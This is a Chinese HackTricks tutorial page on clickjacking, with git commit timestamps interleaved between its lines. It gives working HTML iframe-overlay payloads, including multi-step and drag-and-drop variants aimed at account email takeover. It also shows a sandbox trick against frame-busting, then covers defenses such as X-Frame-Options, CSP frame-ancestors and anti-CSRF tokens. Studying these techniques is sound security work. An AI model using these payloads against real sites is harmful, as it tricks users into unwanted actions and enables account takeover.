2023-08-03 19:12:22 +00:00
# 点击劫持
2022-04-28 16:01:33 +00:00
< details >
2024-05-06 11:08:56 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2023-12-31 04:43:12 +00:00
支持HackTricks的其他方式:
2024-05-06 11:08:56 +00:00
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或在**Twitter**上关注我们 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-05-05 22:03:00 +00:00
< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-05-06 11:08:56 +00:00
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks& utm_medium=text& utm_campaign=ppc& utm_term=trickest& utm_content=clickjacking)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-04-28 16:01:33 +00:00
2024-05-06 11:08:56 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
2023-08-03 19:12:22 +00:00
## 什么是点击劫持
2020-07-15 15:43:14 +00:00
2024-05-06 11:08:56 +00:00
在点击劫持攻击中,**用户**被**欺骗**点击网页上的一个**元素**,该元素要么是**不可见的**,要么伪装成另一个元素。这种操纵可能会对用户造成意外后果,如下载恶意软件,重定向到恶意网页,提供凭据或敏感信息,转账,或在线购买产品。
2020-10-13 11:29:54 +00:00
2024-02-06 04:10:34 +00:00
### 预填表单技巧
2020-10-13 11:29:54 +00:00
2024-05-06 11:08:56 +00:00
有时可以在加载页面时使用GET参数**填充表单字段的值**。攻击者可能会滥用这种行为,填充表单的任意数据并发送点击劫持有效负载,以便用户按下提交按钮。
2020-07-15 15:43:14 +00:00
2024-02-06 04:10:34 +00:00
### 使用拖放填充表单
2020-07-15 15:43:14 +00:00
2024-05-06 11:08:56 +00:00
如果您需要用户**填写表单**,但又不想直接要求他输入某些特定信息(比如您知道的电子邮件或特定密码),您可以要求他**拖放**某些内容,这些内容将写入您控制的数据,就像在[**这个示例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)中一样。
2024-02-06 04:10:34 +00:00
2024-05-05 22:03:00 +00:00
### 基本有效载荷
2020-07-15 15:43:14 +00:00
```markup
< style >
2023-08-03 19:12:22 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
2020-07-15 15:43:14 +00:00
< / style >
< div > Click me< / div >
< iframe src = "https://vulnerable.com/email?email=asd@asd.asd" > < / iframe >
```
2024-05-06 11:08:56 +00:00
### 多步骤有效载荷
2020-07-15 15:43:14 +00:00
```markup
< style >
2023-08-03 19:12:22 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
2020-07-15 15:43:14 +00:00
< / style >
< div class = "firstClick" > Click me first< / div >
< div class = "secondClick" > Click me next< / div >
< iframe src = "https://vulnerable.net/account" > < / iframe >
```
2024-05-06 11:08:56 +00:00
### 拖放 + 点击攻击载荷
2020-10-13 11:29:54 +00:00
```markup
< html >
< head >
< style >
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00 ;
}
< / style >
< / head >
< body >
< div style = "height: 26px;width: 250px;left: 41.5%;top: 340px;" class = "xss" > .< / div >
< div style = "height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F ;" class = "xss" > 1. Click and press delete button</ div >
< div style = "height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F ;" class = "xss" > 3.Click me</ div >
< iframe sandbox = "allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style = "opacity:0.3" src = "https://target.com/panel/administration/profile/" > < / iframe >
< div id = "payload" draggable = "true" ondragstart = "event.dataTransfer.setData('text/plain', 'attacker@gmail.com')" > < h3 > 2.DRAG ME TO THE RED BOX< / h3 > < / div >
< / body >
< / html >
```
2024-02-06 04:10:34 +00:00
### XSS + Clickjacking
2020-07-15 15:43:14 +00:00
2024-02-06 04:10:34 +00:00
如果您已经确定了一个需要用户点击某个元素来触发 XSS 攻击的情况,并且页面容易受到点击劫持攻击,您可以利用这一点来欺骗用户点击按钮/链接。\
示例:\
2024-05-06 11:08:56 +00:00
_您发现账户私人详情中存在自身 XSS( 只有您可以设置和读取的详情) 。包含设置这些详情的表单的页面容易受到点击劫持攻击, 您可以使用 GET 参数预填充表单。_\
2024-05-05 22:03:00 +00:00
\_\_攻击者可以准备一个点击劫持攻击到该页面, 预填充表单中的 XSS 负载,并欺骗用户提交表单。因此,当表单提交且值被修改时,用户将执行 XSS。
2020-07-15 15:43:14 +00:00
2024-05-05 22:03:00 +00:00
## 缓解点击劫持的策略
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 客户端防御
2020-07-15 15:43:14 +00:00
2024-03-29 21:06:45 +00:00
在客户端执行的脚本可以执行操作以防止点击劫持:
2020-07-15 15:43:14 +00:00
2024-05-05 22:03:00 +00:00
* 确保应用窗口是主要或顶级窗口。
2024-02-06 04:10:34 +00:00
* 使所有框架可见。
* 防止在不可见框架上点击。
* 检测并警告用户可能的点击劫持尝试。
2020-07-15 15:43:14 +00:00
2024-03-29 21:06:45 +00:00
然而,这些破坏框架的脚本可能会被规避:
2020-07-15 15:43:14 +00:00
2024-05-05 22:03:00 +00:00
* **浏览器的安全设置:** 一些浏览器可能会基于其安全设置或缺乏 JavaScript 支持来阻止这些脚本。
* **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms` 或 `allow-scripts` 值而不包括 `allow-top-navigation` 来中和破坏框架脚本。这会阻止 iframe 验证是否为顶级窗口,例如,
2024-02-06 04:10:34 +00:00
```html
2020-07-15 15:43:14 +00:00
< iframe id = "victim_website" src = "https://victim-website.com" sandbox = "allow-forms allow-scripts" > < / iframe >
```
2024-02-06 04:10:34 +00:00
### 服务器端防御
2020-07-15 15:43:14 +00:00
2024-02-06 04:10:34 +00:00
#### X-Frame-Options
2020-07-15 15:43:14 +00:00
2024-03-17 16:19:28 +00:00
**`X-Frame-Options` HTTP响应头** 通知浏览器有关在 `<frame>` 或 `<iframe>` 中呈现页面的合法性,有助于防止点击劫持:
2020-07-15 15:43:14 +00:00
2024-03-29 21:06:45 +00:00
- `X-Frame-Options: deny` - 没有域可以嵌入内容。
- `X-Frame-Options: sameorigin` - 只有当前站点可以嵌入内容。
- `X-Frame-Options: allow-from https://trusted.com` - 只有指定的 'uri' 可以嵌入页面。
2024-02-06 04:10:34 +00:00
- 请注意限制: 如果浏览器不支持此指令, 则可能无效。一些浏览器更喜欢CSP frame-ancestors指令。
2020-07-15 15:43:14 +00:00
2024-02-06 04:10:34 +00:00
#### 内容安全策略( CSP) frame-ancestors指令
2020-07-15 15:43:14 +00:00
2024-02-06 04:10:34 +00:00
**CSP中的`frame-ancestors`指令** 是防止点击劫持的建议方法:
2020-07-15 15:43:14 +00:00
2024-02-06 04:10:34 +00:00
- `frame-ancestors 'none'` - 类似于 `X-Frame-Options: deny` 。
- `frame-ancestors 'self'` - 类似于 `X-Frame-Options: sameorigin` 。
- `frame-ancestors trusted.com` - 类似于 `X-Frame-Options: allow-from` 。
2020-07-15 15:43:14 +00:00
2024-03-29 21:06:45 +00:00
例如, 以下CSP仅允许来自相同域的嵌入:
2020-07-15 15:43:14 +00:00
`Content-Security-Policy: frame-ancestors 'self';`
2024-05-06 11:08:56 +00:00
有关更多详细信息和复杂示例,请参阅[frame-ancestors CSP文档](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)和[Mozilla的CSP frame-ancestors文档](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)。
2024-02-06 04:10:34 +00:00
2024-05-05 22:03:00 +00:00
### 使用`child-src`和`frame-src`的内容安全策略( CSP)
2024-02-06 04:10:34 +00:00
**内容安全策略( CSP) ** 是一项安全措施,通过指定浏览器应允许加载内容的来源,有助于防止点击劫持和其他代码注入攻击。
#### `frame-src`指令
2024-03-17 16:19:28 +00:00
2024-03-29 21:06:45 +00:00
- 定义帧的有效来源。
2024-02-06 04:10:34 +00:00
- 比`default-src`指令更具体。
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
2024-05-05 22:03:00 +00:00
这个策略允许来自相同源( self) 和 https://trusted-website.com 的框架。
2024-02-06 04:10:34 +00:00
#### `child-src` 指令
2024-03-17 16:19:28 +00:00
2024-05-05 22:03:00 +00:00
* 在 CSP 2 级中引入,用于设置 Web Workers 和框架的有效来源。
2024-03-17 16:19:28 +00:00
* 作为 frame-src 和 worker-src 的后备。
2024-02-06 04:10:34 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
2024-05-06 11:08:56 +00:00
这个策略允许来自相同源( self) 和 https://trusted-website.com 的框架和 worker。
2020-07-15 15:43:14 +00:00
2024-02-06 04:10:34 +00:00
**使用注意事项:**
2024-03-17 16:19:28 +00:00
* 弃用: child-src 正在逐步被 frame-src 和 worker-src 取代。
2024-05-05 22:03:00 +00:00
* 回退行为: 如果 frame-src 不存在,则 frames 的回退选项是 child-src。如果两者都不存在, 则使用 default-src。
* 严格的源定义: 在指令中只包含可信任的源,以防止被利用。
2020-07-15 15:43:14 +00:00
2024-05-06 11:08:56 +00:00
#### JavaScript 打破框架的脚本
2020-07-15 15:43:14 +00:00
2024-05-06 11:08:56 +00:00
尽管不是完全可靠,基于 JavaScript 的打破框架脚本可用于防止网页被嵌套。示例:
2024-02-06 04:10:34 +00:00
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### 使用反CSRF令牌
2024-05-06 11:08:56 +00:00
* **令牌验证:** 在Web应用程序中使用反CSRF令牌, 以确保状态更改请求是由用户有意进行的, 而不是通过Clickjacked页面。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## 参考资料
2020-07-15 15:43:14 +00:00
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking** ](https://portswigger.net/web-security/clickjacking )
2024-02-06 04:10:34 +00:00
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html** ](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html )
2022-04-28 16:01:33 +00:00
2024-05-05 22:03:00 +00:00
< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-05-06 11:08:56 +00:00
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks& utm_medium=text& utm_campaign=ppc& utm_term=trickest& utm_content=clickjacking) 可以轻松构建并通过世界上最先进的社区工具**自动化工作流程**。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
2024-05-06 11:08:56 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
< details >
2024-05-06 11:08:56 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2023-12-31 04:43:12 +00:00
2024-01-10 06:29:36 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-09 08:09:21 +00:00
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
2024-05-05 22:03:00 +00:00
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
2024-05-06 11:08:56 +00:00
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >